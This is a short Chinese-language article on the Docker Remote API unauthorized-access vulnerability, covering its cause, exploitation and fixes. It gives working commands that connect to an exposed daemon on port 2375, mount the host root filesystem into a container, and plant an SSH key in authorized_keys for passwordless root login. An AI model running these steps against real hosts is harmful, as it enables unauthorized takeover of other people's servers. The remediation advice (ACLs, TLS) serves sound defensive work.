1. 程式人生 > >Docker Remote Api未授權訪問漏洞

Docker Remote Api未授權訪問漏洞

一. 漏洞原因

  1. dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

  2. docker守護程序監聽在0.0.0.0,外網可訪問

  3. 沒有使用iptables等限制可連線的來源ip

二. 漏洞利用

1.遠端對被攻擊的主機的docker容器進行操作

docker -H tcp://remoteip:2375 images

  1. 遠端啟動被攻擊主機的docker容器.並掛在宿主機的目錄,通過容器修改宿主機的authrized_keys檔案,寫入公鑰.

docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash

三. 演示步驟

ssh-keygen 生成公鑰檔案

docker -H tcp://remoteip:2375 images 檢視映象

docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash 啟動一個容器並將宿主機根目錄掛在到容器的mnt目錄

mkdir .ssh 建立ssh目錄

touch authorized_keys 建立檔案

將公鑰的檔案寫入authorized_keys

ssh [email protected] 免密碼登入宿主機

四. 修復方法

  1. 設定ACL, 只允許信任ip連線對應埠

  2. 開啟TLS,使用生成的證書進行認證

https://docs.docker.com/engine/security/https/